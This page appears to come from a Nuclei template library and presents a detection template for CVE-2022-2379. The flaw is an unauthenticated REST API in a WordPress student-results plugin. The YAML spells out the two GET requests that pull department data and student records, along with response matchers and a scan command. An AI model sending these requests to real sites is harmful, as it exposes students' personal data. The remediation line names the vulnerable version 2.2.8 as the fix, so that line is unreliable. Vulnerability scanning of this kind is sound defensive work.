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WordPress Easy Student Results <=2.2.8 - Improper Authorization

ID: CVE-2022-2379

Severity: high

Author: theamanrawat

Tags: cve,cve2022,wordpress,wp-plugin,wp,easy-student-results,disclosure,wpscan,easy_student_results_project

Description

Section titled “Description”

WordPress Easy Student Results plugin through 2.2.8 is susceptible to information disclosure. The plugin lacks authorization in its REST API, which can allow an attacker to retrieve sensitive information related to courses, exams, and departments, as well as student grades and information such as email address, physical address, and phone number.

YAML Source

Section titled “YAML Source”
id: CVE-2022-2379


info:
  name: WordPress Easy Student Results <=2.2.8 - Improper Authorization
  author: theamanrawat
  severity: high
  description: |
    WordPress Easy Student Results plugin through 2.2.8 is susceptible to information disclosure. The plugin lacks authorization in its REST API, which can allow an attacker to retrieve sensitive information related to courses, exams, and departments, as well as student grades and information such as email address, physical address, and phone number.
  impact: |
    An attacker can gain access to sensitive student information, potentially compromising their privacy and security.
  remediation: |
    Update to the latest version of the WordPress Easy Student Results plugin (2.2.8) to fix the improper authorization vulnerability.
  reference:
    - https://wpscan.com/vulnerability/0773ba24-212e-41d5-9ae0-1416ea2c9db6
    - https://wordpress.org/plugins/easy-student-results/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2379
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/soxoj/information-disclosure-writeups-and-pocs
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-2379
    cwe-id: CWE-862
    epss-score: 0.02846
    epss-percentile: 0.90702
    cpe: cpe:2.3:a:easy_student_results_project:easy_student_results:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: easy_student_results_project
    product: easy_student_results
    framework: wordpress
  tags: cve,cve2022,wordpress,wp-plugin,wp,easy-student-results,disclosure,wpscan,easy_student_results_project


http:
  - raw:
      - |
        GET /wp-json/rps_result/v1/route/student_fields HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /wp-json/rps_result/v1/route/search_student?department_id=1&batch_id=1 HTTP/1.1
        Host: {{Hostname}}


    stop-at-first-match: true


    matchers-condition: and
    matchers:
      - type: word
        part: body_1
        words:
          - '"departments":'
          - 'batches":'
        condition: and


      - type: word
        part: body_2
        words:
          - 'meta_data'
          - '"name":"'
          - '"registration_no":'
        condition: and


      - type: word
        part: header
        words:
          - application/json


      - type: status
        status:
          - 200
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Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-2379.yaml"

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